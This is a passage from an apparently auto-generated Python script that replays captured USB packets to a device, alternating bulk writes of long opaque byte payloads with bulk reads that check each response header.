b\"\\x61\\x02\\x3B\\xA8\\xDA\\xD1\\x28\\x3F\\xCE\\x6B\\x22\\x03\\x98\\x35\\x9A\\x63\"\n b\"\\xAD\\x16\\x03\\x29\\x6D\\xF8\\x99\\xAD\\xA1\\x95\\x8C\\x3A\\x8D\\x63\\xA4\\x13\"\n b\"\\xA5\\x91\\x87\\x3B\\x0F\\x60\\x72\\x61\\xA8\\xB3\\x60\\xA8\\xA6\\xBD\\x5C\\xA6\"\n b\"\\xEC\\x40\\xB7\\xA7\\xAF\\x57\\xAF\\x25\\xDD\\xD9\\x1E\\xA0\\x75\\x44\\xBA\\x17\"\n b\"\\xBE\\x4F\\xB4\\x83\\xB0\\xE5\\xE0\\x6D\\x4F\\xBF\\xA8\\xE0\\x12\\x71\\xAA\\xDB\"\n b\"\\x6D\\x07\\xC5\\xB3\\x04\\xFE\\xDE\\x4A\\x43\\xE8\\xF1\\xD1\\xC7\\xDF\\x93\\x9A\"\n b\"\\x72\\xB6\\x8F\\x5D\\xF3\\xB1\\xFA\\x01\\xB2\\xE4\\xE3\\x93\\x82\\x18\\x88\\x6C\"\n b\"\\x9B\\xAD\\x6A\\xD8\\xCA\\xFE\\x3E\\xAA\\x76\\x4E\\x49\\x0D\\xC2\\x11\\x4A\\x9F\"\n b\"\\x0B\\xEE\\x8D\\x0C\\xC4\\xF0\\x4F\\xC1\\x19\\xA6\\x43\\x30\")\n # Generated from packet 3779/3780\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3779/3780\")\n # Generated from packet 3781/3782\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xEC\\x61\\x0B\\x61\\x68\\x30\\x00\\x00\"\n b\"\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x79\\xC4\\x6D\\xD7\\x9A\\x20\\x5F\\x02\"\n b\"\\x79\\x14\\x83\\xEF\\x51\\xEA\\xD7\\xCA\\xBF\\xB8\\x86\\x55\\x88\\x2C\\x37\\x3E\"\n b\"\\xE2\\x07\\xEE\\x60\\x92\\xFF\\xDB\\xD7\\x50\\x58\\xD2\\x7F\\x8E\\xAA\\x34\\x87\"\n b\"\\xF6\\x6D\\x95\\x12\\xA6\\xCA\\xAA\\xF3\\x66\\x5B\\x5B\\x9D\\x52\\x1C\\x0C\\x68\"\n b\"\\x4B\\x06\\x04\\x8A\\xCF\\xA7\\x9D\\x45\\xA9\\xB9\\x74\\x57\\x72\\xE1\\x78\\x8B\"\n b\"\\x24\\x28\\x55\\xBD\\x51\\x28\\xD2\\xEE\\x1E\\x95\\x67\\xB6\\x5B\\x64\\x01\\xA0\"\n b\"\\x80\\x7B\\xA6\\x29\\xE6\\xFF\\x00\\x6B\\xE2\\x15\\xC5\\x82\\x61\\x52\\xFF\\x5C\"\n b\"\\xA2\\x08\\x69\\x1B\\xD5\\x96\\x18\\xED\\x6D\\x5B\\x57\\x7C\\xF2\\xC7\\x44\\x0D\"\n b\"\\x96\\x88\\x4E\\x34\\x84\\xAC\\x3C\\x4C\\xE3\\x25\\x02\\x6D\\x9D\\xC9\\x88\\xEF\"\n b\"\\xE2\\xFB\\xE1\\x5A\\xA6\\x88\\xCD\\x2B\\xA2\\x71\\x7E\\x33\\xD5\\x7B\\x6A\\xBB\"\n b\"\\xBB\\xD2\\x19\\xEB\\x0E\\xE3\\xB3\\x12\\xAB\\x8E\\x4E\\xEB\\x90\\x15\\x59\\x64\"\n b\"\\xE2\\x05\\x16\\x93\\xC7\\xE8\\xAB\\x88\\x5F\\x5E\\x78\\xE6\\x63\\x17\\x31\\x62\"\n b\"\\x38\\x25\\x30\\x58\\x6C\\xFC\\x30\\xCE\\x61\\x04\\xD4\\x3A\\x8D\\x3A\\x7E\\xFF\"\n b\"\\x80\\x33\\xC6\\xE6\\x5E\\x69\\x15\\x70\\xED\\x4F\\xE8\\xCB\\xA2\\x3F\\x7F\\xDF\"\n b\"\\x10\\x35\\x43\\x89\\x5A\\xAD\\x23\\xBC\\xE2\\x34\\x69\\x7C\\x8A\\xAD\\xED\\xB0\"\n b\"\\x38\\x7B\\x7A\\x9C\\x16\\xF3\\x53\\xB4\\xE4\\xB3\\x7B\\x1E\\x15\\x46\\x21\\xB9\"\n b\"\\x87\\xD4\\xE8\\xB7\\x0D\\x2B\\xE6\\xFD\\x7F\\xFE\\xE7\\xBE\")\n # Generated from packet 3783/3784\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3783/3784\")\n # Generated from packet 3785/3786\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x29\\xCE\\x9E\\x41\\xAD\\x7F\\x00\\x00\"\n b\"\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5B\\xD6\\x2D\\xDC\\xAB\\xAF\\x59\\x98\"\n b\"\\x14\\x2E\\xAA\\xA5\\x4E\\x12\\x39\\x87\\xF9\\xBF\\x54\\xF3\\x18\\xED\\x68\\x2A\"\n b\"\\xDA\\x8A\\x6F\\x7D\\xDB\\xE7\\xDD\\xFE\\x56\\x0F\\xA9\\xAD\\x57\\xC4\\x27\\x82\"\n b\"\\xCB\\x6E\\xEC\\xE5\\xB0\\x94\\xEF\\x0B\\x6A\\x6B\\xB0\\x62\\xF2\\x6D\\xF0\\x30\"\n b\"\\x3F\\x19\\x6F\\x8D\\xD1\\x03\\xDF\\x0E\\x3C\\x42\\xFF\\xC2\\xC0\\x9B\\xF3\\x90\"\n b\"\\xC9\\xE1\\x98\\x46\\x2F\\xE6\\x38\\x61\\x97\\x38\\x6A\\x15\\xA1\\x81\\x1F\\x77\"\n b\"\\xA1\\xEC\\xD6\\x49\\x32\\xC2\\xA6\\x69\\xBE\\xA3\\x3D\\xA3\\xF2\\x43\\x76\\x7A\"\n b\"\\x38\\x01\\xA7\\xC8\\x04\\xE8\\x0D\\xD6\\xA4\\x22\\x1F\\x02\\x1C\\xF9\\xC3\\xEF\"\n b\"\\x6C\\x04\\xD7\\xCA\\x83\\x34\\x86\\x55\\x35\\xB6\\x57\\x3E\\xC9\\xC3\\xEE\\x60\"\n b\"\\x35\\xB9\\xDB\\xD7\\x76\\x00\\xD2\\x7F\\xBF\\x0F\\x34\\x87\\x0E\\x2E\\x95\\x12\"\n b\"\\x56\\x30\\xAA\\xF3\\x90\\xB4\\x5B\\x9D\\xF4\\x94\\x4C\\x68\\xA0\\x2F\\x44\\x8A\"\n b\"\\xF7\\xB1\\xDD\\x45\\xC0\\x73\\x34\\x57\\x54\\xF4\\x38\\x8B\\x9C\\xA3\\x15\\xBD\"\n b\"\\x2D\\xBE\\xB2\\xEE\\x62\\x3B\\x67\\xB6\\xA1\\xCC\\x41\\xA0\\xED\\x63\\xC6\\x29\"\n b\"\\x05\\xDF\\x60\\x6B\\x0A\\xD8\\xC5\\x82\\xC2\\x7D\\xFF\\x5C\\x08\\x27\\x69\\x1B\"\n b\"\\xE1\\x5B\\x18\\xED\\xDF\\x96\\x57\\x7C\\x87\\x0A\\x44\\x0D\\x3F\\x26\\x4E\\x34\"\n b\"\\xE8\\x61\\x3C\\x4C\\x14\\xEA\\x02\\x6D\\xA8\\x04\\x88\\xEF\\x5E\\x8B\\xE1\\x5A\"\n b\"\\x9E\\x65\\xCD\\x2B\\xD2\\xA1\\x7E\\x33\\xEF\\xF5\\x6A\\xBB\")\n # Generated from packet 3787/3788\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3787/3788\")\n # Generated from packet 3789/3790\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x68\\x05\\xAA\\x5C\\xE1\\x62\\x00\\x00\"\n b\"\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x16\\x6C\\x0D\\x4E\\x98\\xE8\\x50\\xFD\"\n b\"\\x1B\\xB8\\xAC\\xA9\\x48\\xB9\\x67\\x27\\x61\\x20\\x6F\\xEC\\x13\\x36\\x77\\xEF\"\n b\"\\x25\\xBA\\xA8\\xB0\\xC5\\x8A\\xB4\\xB0\\x08\\xEB\\xFA\\x6F\\xB5\\x17\\x5C\\xDF\"\n b\"\\x60\\x73\\x49\\xDF\\xFA\\x85\\xBE\\xD3\\xA8\\x18\\x85\\xB8\\xA3\\x02\\x7D\\x18\"\n b\"\\x59\\x46\\x06\\x4A\\xF0\\x94\\x5C\\x3F\\x94\\x59\\x34\\xF6\\xAD\\x7B\\x1B\\xE6\"\n b\"\\x82\\x56\\xF1\\x3D\\x19\\x3A\\xD5\\x76\\x8A\\x64\\x14\\xA7\\x3D\\x8A\\x7E\\x0D\"\n b\"\\x6B\\x0F\\xB4\\x1F\\xE7\\x22\\xC3\\xC3\\xC2\\x9C\\xC3\\x97\\xE4\\xC2\\xD1\\xC6\"\n b\"\\xF2\\x22\\xA5\\x77\\xDB\\x2C\\x6E\\xAE\\x85\\x00\\x16\\x9B\\x32\\x43\\xAF\\x92\"\n b\"\\x8E\\x78\\x43\\x74\\x3B\\x17\\xC4\\xD5\\x37\\x74\\x5D\\xEA\\x16\\xA6\\x0D\\x1B\"\n b\"\\x3A\\xBE\\x8B\\x4C\\x84\\x0B\\x30\\x44\\xA8\\xDE\\xAE\\xDD\\x3B\\xC7\\x6F\\x34\"\n b\"\\xB2\\x20\\xE8\\x38\\x6E\\xE8\\xBF\\x15\\x58\\xD2\\x5C\\x92\\x0B\\x54\\x82\\x27\"\n b\"\\x53\\x5D\\xD3\\x41\\x45\\x44\\xAD\\xE6\\xCC\\x67\\x09\\x40\\x8E\\x3C\\x61\\x85\"\n b\"\\xAC\\x6F\\xA4\\xBF\\xB9\\x3E\\x9E\\x29\\xFE\\xD7\\xE2\\x58\\x08\\xE9\\x2F\\x17\"\n b\"\\x43\\xBD\\xD3\\x04\\xE8\\x09\\x9F\\x0E\\xD1\\xDE\\xD8\\x7C\\xA9\\x22\\x53\\x42\"\n b\"\\x88\\x9E\\xBD\\xC8\\x0A\\x68\\x32\\xA1\\xBF\\xA8\\xDC\\x8D\\xCE\\xE4\\x18\\x3E\"\n b\"\\xD6\\xD9\\x4C\\x2A\\x5E\\x78\\xA6\\x59\\x0E\\x4C\\x97\\xF3\\xF7\\x3F\\xB9\\x0E\"\n b\"\\x0E\\x15\\x83\\x19\\x81\\x2A\\x93\\x56\\x76\\x05\\x9C\\xEB\")\n # Generated from packet 3791/3792\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3791/3792\")\n # Generated from packet 3793/3794\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xCB\\xFF\\x85\\x46\\x2A\\x1A\\x00\\x00\"\n b\"\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB9\\xD2\\x2F\\x7C\\x2E\\x45\\xBD\\xFE\"\n b\"\\x35\\xEF\\x89\\xAD\\xBC\\xC7\\x07\\x82\\x2D\\xA8\\xCC\\xE5\\x1E\\xAA\\xEF\\x0B\"\n b\"\\x57\\x03\\x90\\x62\\x49\\xCE\\x90\\x30\\x1C\\x35\\x6F\\x8D\\xE0\\x93\\xDF\\x0E\"\n b\"\\x44\\x25\\xDF\\xC2\\x72\\x71\\xD3\\x90\\xEF\\x4A\\xB8\\x46\\xC4\\x68\\x58\\x61\"\n b\"\\xB1\\xC9\\x4A\\x15\\xDA\\x2E\\x3F\\x77\\x54\\xF3\\xD6\\x49\\x8B\\xD2\\xC6\\x69\"\n b\"\\x45\\xFE\\x1D\\xA3\\xD1\\x23\\x56\\x7A\\x1B\\x86\\x87\\xC8\\xA1\\x0E\\x2D\\xD6\"\n b\"\\x06\\x40\\x3F\\x02\\xE4\\xD6\\x83\\xEF\\x8F\\x5C\\x97\\xCA\\xEF\\x6A\\xC6\\x55\"\n b\"\\x50\\x3A\\x77\\x3E\\xE7\\x9B\\xAE\\x60\\x8F\\x63\\x9B\\xD7\\x59\\x79\\x92\\x7F\"\n b\"\\x5F\\x88\\x34\\x87\\x6E\\xAC\\x95\\x12\\x78\\xA3\\xCA\\xF3\\x2B\\x8C\\x5B\\x9D\"\n b\"\\xCC\\x57\\x6C\\x68\\xC4\\x52\\x04\\x8A\\x43\\x09\\x9D\\x45\\x7A\\xA9\\x74\\x57\"\n b\"\\x3F\\x09\\x78\\x8B\\x2E\\xAA\\x55\\xBD\\x9C\\x2E\\x92\\xEE\\x1A\\xF0\\x27\\xB6\"\n b\"\\x13\\xA1\\x41\\xA0\\x82\\xB8\\xA6\\x29\\xA1\\x1C\\x00\\x6B\\xFA\\x74\\xC5\\x82\"\n b\"\\x32\\xD1\\xFF\\x5C\\x61\\x4F\\x69\\x1B\\x99\\x90\\x58\\xED\\xF1\\xAD\\x37\\x7C\"\n b\"\\x77\\xA6\\x44\\x0D\\xCF\\x8A\\x4E\\x34\\x18\\xCD\\x3C\\x4C\\xE4\\x46\\x02\\x6D\"\n b\"\\x58\\xA8\\x88\\xEF\\xAE\\x27\\xE1\\x5A\\x6E\\xC9\\xCD\\x2B\\x22\\x0D\\x7E\\x33\"\n b\"\\x1F\\x59\\x6A\\xBB\\xBE\\xB3\\x19\\xEB\\x8A\\x82\\xB3\\x12\\xF9\\xAC\\x4E\\xEB\"\n b\"\\xD3\\x96\\x59\\x64\\xEC\\x86\\x16\\x93\\xC3\\x89\\xAB\\x88\")\n # Generated from packet 3795/3796\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3795/3796\")\n # Generated from packet 3797/3798\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x40\\xE6\\xA3\\xA4\\xD5\\x15\\x00\\x00\"\n b\"\\x09\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9D\\x09\\x67\\x92\\x22\\x14\\x5E\\xED\"\n b\"\\x85\\x9D\\x7D\\x49\\x23\\xDF\\x26\\x21\\x24\\xC6\\x8E\\x84\\x94\\xC1\\x64\\xDE\"\n b\"\\x4A\\xAF\\xCD\\xA2\\x3B\\x59\\xF3\\x6F\\x74\\xC8\\xAB\\xF3\\x67\\xB9\\x13\\xDF\"\n b\"\\x6D\\x80\\xC4\\x98\\x1F\\xF8\\x38\\x13\\x21\\xD9\\x84\\xFD\\xAB\\x5B\\x72\\x72\"\n b\"\\xC2\\xEE\\xB2\\x9C\\xEE\\x9F\\xFE\\x58\\x9F\\x77\\xA3\\x0C\\x49\\x0F\\x62\\xE6\"\n b\"\\x3A\\x5F\\x56\\xD7\\x5F\\x25\\x45\\xF9\\x6D\\x5F\\x0F\\xC3\\x7A\\xD0\\x30\\xD3\"\n b\"\\x35\\x27\\x1F\\xDC\\x88\\x3C\\xC7\\x6A\\x5B\\x52\\x38\\x23\\x93\\xD9\\x6F\\xAC\"\n b\"\\x9B\\x26\\x28\\x0A\\x48\\x5B\\xF5\\xF2\\xF7\\x8E\\x88\\x2D\\x5D\\x4B\\x5C\\x24\"\n b\"\\xB8\\xAC\\x01\\x7E\\xA1\\x59\\xAE\\x3B\\xCB\\x7F\\x7D\\x28\\x5C\\x6B\\xC7\\x22\"\n b\"\\xB5\\x75\\xF9\\x9A\\x00\\x08\\xBA\\x03\\x98\\x1A\\x54\\x99\\xCE\\x04\\x39\\x8C\"\n b\"\\x59\\x28\\xCF\\xA4\\x70\\x00\\x3D\\x87\\x58\\xAA\\xCC\\x72\\x02\\x0D\\x1F\\x60\"\n b\"\\xCB\\x03\\x11\\x5C\\xC5\\x49\\xEC\\xB7\\xC4\\x0A\\xFB\\xAF\\x46\\x78\\x75\\x1E\"\n b\"\\x1A\\xA8\\x88\\xBA\\x2D\\xDF\\xE3\\xB4\\xE0\\x15\\x49\\xE0\\x0E\\xEA\\x13\\xA8\"\n b\"\\x83\\xB7\\xDD\\xAA\\xB8\\xC8\\xAB\\xC5\\xD0\\xA1\\x52\\xDE\\x29\\xE6\\x44\\xF1\"\n b\"\\xB2\\x62\\x73\\x93\\xF9\\xD7\\x1A\\x8F\\x3E\\x56\\x1D\\xFA\\x62\\x17\\x48\\xE3\"\n b\"\\xF0\\x27\\xB4\\x88\\x0F\\x3E\\x01\\x6A\\xBB\\x6F\\x52\\x3E\\xC9\\xD3\\xE2\\x49\"\n b\"\\x6E\\x67\\xBD\\x4A\\xFC\\xAE\\x42\\x8D\\x6F\\x61\\x5C\\x4F\")\n # Generated from packet 3799/3800\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3799/3800\")\n # Generated from packet 3801/3802\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDC\\x7B\\xF5\\xD8\\xB2\\x31\\x00\\x00\"\n b\"\\x0A\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEB\\x93\\x7C\\x93\\x61\\x3E\\x82\\x27\"\n b\"\\x39\\x37\\xD3\\x41\\xF3\\xBB\\xCD\\xE6\\x66\\xDE\\x69\\x40\\xF0\\xBE\\x21\\x85\"\n b\"\\x9C\\x60\\xA4\\xBF\\xD4\\x7A\\xFE\\x29\\x81\\xE7\\xA2\\x58\\x77\\xD9\\x6F\\x17\"\n b\"\\xF3\\xDB\\xB3\\x04\\x97\\x39\\xDF\\x0E\\xAE\\xEE\\x98\\x7C\\xC3\\x48\\x53\\x42\"\n b\"\\x34\\x4F\\xFD\\xC8\\x60\\x02\\x32\\xA1\\x15\\x11\\xBC\\x8D\\x7B\\x71\\x78\\x3E\"\n b\"\\xFF\\x4E\\x2C\\x2A\\x38\\xD0\\xC6\\x59\\xB7\\x81\\xF7\\xF3\\x58\\xF1\\xD9\\x0E\"\n b\"\\xB4\\x5E\\xE3\\x19\\xEB\\x40\\x93\\x56\\x1C\\xC4\\xDC\\xEB\\x0C\\x9B\\x6A\\x38\"\n b\"\\xB1\\x25\\x23\\x71\\xE6\\x7E\\xAC\\x70\\xD7\\x18\\x4A\\x70\\x41\\xC5\\xB2\\x94\"\n b\"\\xAF\\x66\\x6D\\x3E\\x3A\\x50\\x64\\x86\\x7E\\x5A\\x5E\\x55\\xBE\\xEA\\x7B\\xA8\"\n b\"\\x15\\x5B\\x68\\x3F\\x50\\xB7\\x62\\x03\\x49\\xFB\\xDA\\x63\\x38\\xB9\\x43\\x29\"\n b\"\\x75\\x51\\xD9\\xAD\\x3F\\x49\\xCC\\x3A\\x13\\xBF\\xE4\\x13\\x3B\\x4D\\xC7\\x3B\"\n b\"\\x91\\xBC\\x32\\x61\\xA6\\x0D\\x60\\xA8\\xA8\\x03\\x5C\\xA6\\xE1\\xFE\\xB7\\xA7\"\n b\"\\x71\\x93\\x8F\\x25\\x43\\x05\\x5E\\xA0\\xEB\\x98\\xFA\\x17\\xAC\\x04\\x94\\x83\"\n b\"\\xF8\\x94\\xC0\\x6D\\xD1\\x63\\xE8\\xE0\\x8C\\xAD\\xEA\\xDB\\xF3\\xDB\\x85\\xB3\"\n b\"\\x9A\\x22\\x9E\\x4A\\xDD\\x34\\xB1\\xD1\\x59\\x03\\xD3\\x9A\\xEC\\x6A\\xCF\\x5D\"\n b\"\\x6D\\x6D\\xBA\\x01\\x2C\\x38\\xA3\\x93\\x1C\\xC4\\xC8\\x6C\\x05\\x71\\x2A\\xD8\"\n b\"\\x54\\x22\\x7E\\xAA\\xE8\\x92\\x09\\x0D\\x5C\\xCD\\x0A\\x9F\")\n # Generated from packet 3803/3804\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3803/3804\")\n # Generated from packet 3805/3806\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x32\\xA2\\xFE\\x21\\x32\\x17\\x00\\x00\"\n b\"\\x0B\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x56\\x42\\x9E\\xE3\\x73\\x5D\\xED\\xE3\"\n b\"\\x21\\x45\\xA2\\x28\\x0C\\x8D\\xC5\\x04\\xA1\\xA9\\x2B\\xDE\\xD1\\xEC\\x62\\x9E\"\n b\"\\x05\\x3A\\x10\\x8B\\xF4\\xB4\\xAD\\x77\\x52\\x30\\x0E\\xD1\\x47\\x30\\xC2\\xE5\"\n b\"\\x6B\\x9E\\x90\\x78\\x8B\\x57\\x46\\x58\\x33\\xF7\\x61\\x26\\x99\\xBE\\x55\\xCE\"\n b\"\\x08\\x10\\x77\\x51\\xC5\\x45\\x49\\x5E\\x6E\\x22\\x49\\x56\\x41\\x55\\x83\\x82\"\n b\"\\x6F\\xB8\\x5A\\x99\\x21\\x53\\xE8\\x74\\x45\\xBE\\xF6\\xD4\\x8A\\x0F\\x22\\x78\"\n b\"\\xC2\\x56\\xCF\\x0D\\x5C\\x63\\x8A\\xF7\\x0B\\xD9\\x55\\xD2\\x6C\\x0D\\x3E\\x76\"\n b\"\\xAA\\x10\\x60\\x5A\\x5D\\x6E\\xD7\\x19\\x74\\xE6\\x7F\\x5D\\x4B\\xA0\\x87\\x30\"\n b\"\\x17\\x3E\\x52\\x25\\x34\\xA2\\xB3\\xFC\\x10\\x84\\xBD\\x52\\x51\\xCC\\x28\\x06\"\n b\"\\xA5\\x26\\xCA\\x51\\xEF\\x9E\\x05\\xEE\\xF3\\x52\\x17\\x7A\\x26\\x7F\\xCB\\xB2\"\n b\"\\xAF\\xD4\\xFD\\x88\\x83\\x66\\xAE\\x0E\\x13\\x94\\xB6\\x07\\x42\\xF2\\xA0\\x1E\"\n b\"\\x3C\\x55\\x29\\x3D\\xD6\\xB4\\x2B\\x66\\xBE\\x71\\xC2\\xAE\\x1B\\x4B\\x1C\\x64\"\n b\"\\xD6\\x45\\x3B\\x8D\\x3D\\xAC\\xAD\\xB3\\xBE\\xA4\\x7C\\xEB\\xF7\\x27\\x2D\\x53\"\n b\"\\x53\\xD0\\x14\\x84\\x07\\x88\\x0C\\x78\\x8C\\xB6\\x2D\\xC4\\x62\\x3C\\xAF\\x32\"\n b\"\\xED\\x55\\x1A\\xF2\\x03\\x79\\x6B\\xBE\\xC7\\xCA\\x73\\x83\\x93\\xDE\\xFB\\x22\"\n b\"\\x79\\xAD\\xAB\\x16\\x48\\x07\\x52\\x65\\x66\\xFA\\xAB\\x4F\\x5C\\xED\\x24\\x70\"\n b\"\\x4C\\xA2\\xD3\\x5F\\x43\\x1F\\xC8\\x87\\xF5\\xCC\\xA6\\x78\")\n # Generated from packet 3807/3808\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3807/3808\")\n # Generated from packet 3809/3810\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x8B\\x5E\\xEF\\xF3\\x5D\\x4A\\x00\\x00\"\n b\"\\x0C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x61\\xC3\\xB1\\xC7\\x27\\x8D\\xE5\\x77\"\n b\"\\x4C\\x29\\x6E\\xAE\\x12\\x05\\x16\\x9B\\x2F\\xF6\\xCF\\x92\\x0F\\x0B\\x03\\x74\"\n b\"\\xF5\\x6F\\xC4\\xD5\\x60\\x7A\\x3D\\xEA\\x81\\xA3\\x0D\\x1B\\xEF\\x0D\\x8B\\x4C\"\n b\"\\x1A\\x59\\x30\\x44\\xF8\\x0E\\xAE\\xDD\\x37\\xB1\\x6F\\x34\\x25\\x25\\xE8\\x38\"\n b\"\\xF9\\xED\\xBF\\x15\\xCF\\xD7\\x5C\\x92\\x16\\xE1\\xE2\\x27\\xC4\\x58\\xD3\\x41\"\n b\"\\xD2\\x41\\xAD\\xE6\\xD1\\x62\\x69\\x40\\x19\\x39\\x61\\x85\\xF0\\xF1\\xC4\\xBF\"\n b\"\\x2E\\x3B\\x9E\\x29\\x69\\xD2\\xE2\\x58\\x9F\\xEC\\x2F\\x17\\x80\\x7A\\xF3\\x04\"\n b\"\\x21\\x87\\xDF\\x0E\\x10\\xBA\\x98\\x7C\\x3E\\x27\\x53\\x42\\x1F\\x9B\\xBD\\xC8\"\n b\"\\x0A\\x32\\x32\\xA1\\x61\\x51\\xDC\\x8D\\x59\\xE1\\x18\\x3E\\x41\\xDC\\x4C\\x2A\"\n b\"\\xCF\\xD5\\xC6\\x59\\x99\\x49\\x97\\xF3\\xAB\\x48\\xB9\\x0E\\x99\\x10\\x83\\x19\"\n b\"\\x16\\x2F\\x93\\x56\\xE1\\x00\\x9C\\xEB\\xFA\\xD8\\x2A\\x38\\x94\\x27\\x63\\x71\"\n b\"\\x10\\x30\\xEC\\x70\\x2A\\x77\\x4A\\x70\\xBC\\xAA\\xB2\\x94\\x48\\x97\\x6D\\x3E\"\n b\"\\x1A\\xDB\\x04\\x86\\x94\\x1E\\x3E\\x55\\x02\\xB1\\x7B\\xA8\\xB9\\x62\\x68\\x3F\"\n b\"\\xAD\\xD8\\x62\\x03\\xFB\\x86\\xDA\\x63\\xCE\\xA5\\x43\\x29\\x0E\\x4B\\xD9\\xAD\"\n b\"\\xC2\\x26\\xCC\\x3A\\xEE\\xD0\\xE4\\x13\\xC6\\x22\\xC7\\x3B\\x6C\\xD3\\x32\\x61\"\n b\"\\xCB\\x00\\x20\\xA8\\xC5\\x0E\\x1C\\xA6\\x8F\\xF3\\xF7\\xA7\\xCC\\xE4\\xEF\\x25\"\n b\"\\xBE\\x6A\\x5E\\xA0\\x16\\xF7\\xFA\\x17\\xDD\\xFC\\xF4\\x83\")\n # Generated from packet 3811/3812\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3811/3812\")\n # Generated from packet 3813/3814\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x47\\x42\\x87\\x4B\\x0A\\x19\\x00\\x00\"\n b\"\\x0D\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7C\\x50\\x08\\x2C\\x85\\x76\\x79\\x75\"\n b\"\\xE8\\xFF\\xC5\\x4D\\x0F\\x72\\x16\\x19\\xC3\\x17\\x7E\\xAA\\xA6\\xEE\\xBF\\x19\"\n b\"\\x53\\xA5\\xF4\\x74\\xB2\\x18\\x3C\\x68\\x6B\\xDF\\x6D\\x4F\\x3C\\x91\\x10\\xFD\"\n b\"\\xBF\\xC1\\xEC\\xA9\\xEC\\xC0\\x27\\x27\\xC3\\x0B\\x4F\\xEC\\xA4\\x27\\x77\\xEF\"\n b\"\\x4A\\xFD\\x88\\xB0\\x23\\xBD\\x94\\xB0\\x71\\xA8\\xFA\\x6F\\xCC\\x54\\x5C\\xDF\"\n b\"\\x4F\\xF2\\x49\\xDF\\x83\\xC6\\xBE\\xD3\\xD1\\x5B\\x85\\xB8\\x07\\x7B\\x3D\\x18\"\n b\"\\xDF\\xFA\\xF9\\xB5\\xAB\\x12\\xE3\\xC0\\xC9\\x8D\\xEB\\x09\\xF7\\x82\\xC4\\x19\"\n b\"\\xD7\\x8A\\x2E\\xC2\\x1D\\x5E\\x0A\\x89\\xC4\\x45\\xCB\\x58\\x76\\xA8\\xA1\\xF2\"\n b\"\\x68\\x08\\x6B\\xE0\\xBC\\xA4\\x7C\\x3C\\x51\\xD1\\x3C\\x68\\x74\\x2B\\x2E\\x39\"\n b\"\\xEB\\x0E\\x5A\\x88\\x80\\xAA\\xD1\\x51\\xDE\\x86\\xA9\\x64\\x69\\xC5\\x10\\x6D\"\n b\"\\xC1\\x81\\xFC\\x8B\\x39\\xEC\\x7B\\x2A\\xAC\\xF9\\x82\\x15\\x4D\\x20\\xB2\\xE4\"\n b\"\\x23\\x8E\\x34\\xB3\\xD6\\xDA\\x8F\\xBB\\x34\\x8D\\x11\\x22\\xFB\\x32\\xD0\\xCB\"\n b\"\\xE9\\xA6\\x57\\xC7\\x35\\x6E\\x00\\xEA\\x03\\x54\\xE3\\x6D\\x50\\xD2\\x3D\\xD8\"\n b\"\\x08\\xDB\\x6C\\xBE\\x1E\\xC2\\x12\\x19\\x97\\xE1\\xB6\\xBF\\xD5\\xBA\\xDE\\x7A\"\n b\"\\x3C\\x72\\x7B\\x40\\xE2\\xB8\\x21\\xD6\\xA5\\x51\\x5D\\xA7\\x53\\x6F\\x90\\xE8\"\n b\"\\xC2\\x37\\x0C\\xFB\\xB3\\x8F\\x20\\xF1\\x8A\\x58\\x67\\x83\\xF2\\xA4\\xEC\\xBD\"\n b\"\\xD3\\x18\\x02\\x37\\x51\\xEE\\x8D\\x5E\\xE4\\x2E\\x63\\x72\")\n # Generated from packet 3815/3816\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3815/3816\")\n # Generated from packet 3817/3818\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBD\\x85\\xE5\\xE3\\xE5\\x7A\\x00\\x00\"\n b\"\\x0E\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xDE\\x6C\\xF4\\xB1\\x73\\x3B\\x05\\x90\"\n 